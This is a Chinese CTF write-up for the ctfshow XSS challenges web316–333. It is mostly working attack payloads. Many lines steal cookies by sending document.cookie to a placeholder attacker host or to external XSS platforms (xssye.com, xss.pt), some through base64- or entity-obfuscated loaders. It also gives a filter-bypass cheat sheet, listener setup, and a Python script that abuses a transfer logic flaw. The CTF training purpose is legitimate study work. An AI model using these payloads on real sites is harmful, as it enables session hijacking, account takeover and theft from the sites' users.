ctfshow里面的xss刷题记录
web316
这道题先测试一下
存在xss漏洞,毕竟是第一题,应该没有任何过滤,直接打cookie即可!XSS平台在这个平台里面
记录可用的姿势:
img
<script> var img=document.createElement("img"); img.src="http://ip/"+document.cookie; </script>
直接创建img标签的话,比如这样
<img src="http://ip:39543/"+document.cookie />
不行,这里识别不到document.cookie,套一层<script></script>
也不行。还有其他外带姿势
window.open
<script>window.open('http://ip/'+document.cookie)</script>
<script>window.location.href='http://ip/'+document.cookie</script>
<script>location.href='http://ip/'+document.cookie</script>
input也可以,但是要加上autofocus
<input onfocus="window.open('http://ipx/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
svg标签
<svg onload="window.open('http://ip/'+document.cookie)">
iframe标签
<iframe onload="window.open('http://ip/'+document.cookie)"></iframe>
body标签
<body onload="window.open('http://ip/'+document.cookie)">
正常的vps需要nc,但是nc好像不能持续接收,但是方法有很多,可以重复起nc,也可以写个python然后起一个临时的服务器,接收一下get参数
python3 -m http.server 39543
这道题直接上传标准形式即可!
显示不是管理员没有flag
换一个,用一个url一次编码的
%26lt%3B%2FtExtArEa%26gt%3B%26%23039%3B%26quot%3B%26gt%3B%26lt%3BsCRiPt%20sRC%3Dhttps%3A%2F%2Fxss.pt%2Frxab%26gt%3B%26lt%3B%2FsCrIpT%26gt%3B
得到flag!
还有另一种方法,进行监听日志!
<script>window.open('http://ip/'+document.cookie)</script>
web317
还是这样的界面,只不过已经开始过滤了,问题不大,过滤哪个就不用哪个,换成其他代码一样的步骤
测试了一下过滤了script,使用img标签!
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly94c3N5ZS5jb20veDNUdyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
成功反弹,但是还是不能成为ADMIN,尝试一下用
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="http://xssye.com/x3Tw"></sCrIpT>>
得到flag
web318
这道题增加了过滤,查询得到这道题过滤了img标签
img标签也被过滤了,可以用body标签,这个标签不容易被ban
<body onload=alert(0)></body>
,成功回显。
-
过滤img,用xss平台的实体十六进制编码
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="http://xssye.com/qyRC"></sCrIpT>>
web319
这道题同上,没用过滤iframe
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="http://xssye.com/qyRC"></sCrIpT>>
web320
- 过滤了空格可以换%09制表符或者/来代替
<iframe/WIDTH=0/HEIGHT=0/srcdoc=。。。。。。。。。。<sCRiPt sRC="http://xssye.com/qyRC"></sCrIpT>>
<body/onload=document.location='http://ip/cookie.php?cookie='+document.cookie;>
<body onload=document.location='http://ip/'+document.cookie;>
web321-326
过滤的不影响payload,通杀!
web327
储存型xss
还用上一题的方法还是可!
web328
先注册一个用户
盗取到cookie!
替换cookie,成为admin
web329
查资料发现从这题开始,cookie都是短时的,截获的的cookie都会失效!
可以看到截获的cookie在不断变化,同时都是无法正常使用的
最后神奇的出来了cookie!
web330
使用bp抓包修改密码
进入admin,得到flag
web331
这里发现变成了post请求,用window.open肯定不行了
查一下javascript如何发送Http请求
var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
* 获取数据后的处理程序
*/
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
var json = httpRequest.responseText;//获取到服务端返回的数据
console.log(json);
}
};
用这个,在注册页payload
登录admin即可!
web332
注册用户,然后给admin转账-100000也就是自己多了100000
web333
这道题是不能向其他账户转账的,只能向自己转账,且只能转低于自己现有钱的数目,比如现在有5块,那么最多只能转5块,接下来的就慢慢跑到10000即可,用burp可以跑:
写个脚本也可以
import requests
import re
import time
x=5
url="http://93a2a39e-623a-4cc6-bea3-6e43db483fd7.challenge.ctf.show/api/amount.php"
url2="http://93a2a39e-623a-4cc6-bea3-6e43db483fd7.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=g4fohb8r0onc7p66qf4oasoh0l'} #自己登录后的sessionid
while True:
print(x)
t=x-1
data={
'u':'000', #注册的用户名
'a':str(t)
}
r=requests.post(url,headers=headers,data=data)
print(r.text)
if(x>10000):
r2=requests.get(url2,headers=headers)
print(r2.text)
break
x+=t
总结
无任何过滤情况下的XSS
当没有过滤发生时,可以的XSSpayload就太多了,包括但不限于:
<script>:
<script>alert(1);</script>
<body>:
<body onload=alert(1);>
<img>:
<img src='' onerror=alert(1);>
<svg>:
<svg onload=alert(1);>
<iframe>:
<iframe onload=alert(1);></iframe>
<video>:
<video><source onerror=alert(1);>
<audio>:
<audio src='' onerror=alert(1);>
过滤空格的情况
当发现题目过滤了空格的时候,就可以用/
去绕过空格
比如:
<body/onload=alert(1);>
过滤了关键字
大小写绕过
当过滤了像img这样的关键字时,可以尝试去用大小写去绕过:
<ImG sRc='' OnErroR=alert(1);>
双写绕过
或者可以用双写绕过:(当waf是只匹配一次,且替换为空时可以双写)
<imimgg srsrcc='' onerror=alert(1);>
拼接绕过
也可以用eval或者top来进行拼接
<img src='' onerror="a='aler';b='t';c='(1);';eval(a+b+c)">
<img src='' onerror=top["ale"+"rt"](1);>
编码绕过:
可以用unicode编码绕过
<img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制绕过
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
对于xss中用服务器查看日志也做一下记录
服务器中用到的apache,刚开始开启apache
service apache2 start
cd /var/log/apache2
日志一般都在access.log里面
对于过滤不严或者没有过滤的直接用
即可进行监听并查看日志得到关键信息
参考:
[Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2021/04/20/ctfshow web入门(xss)/)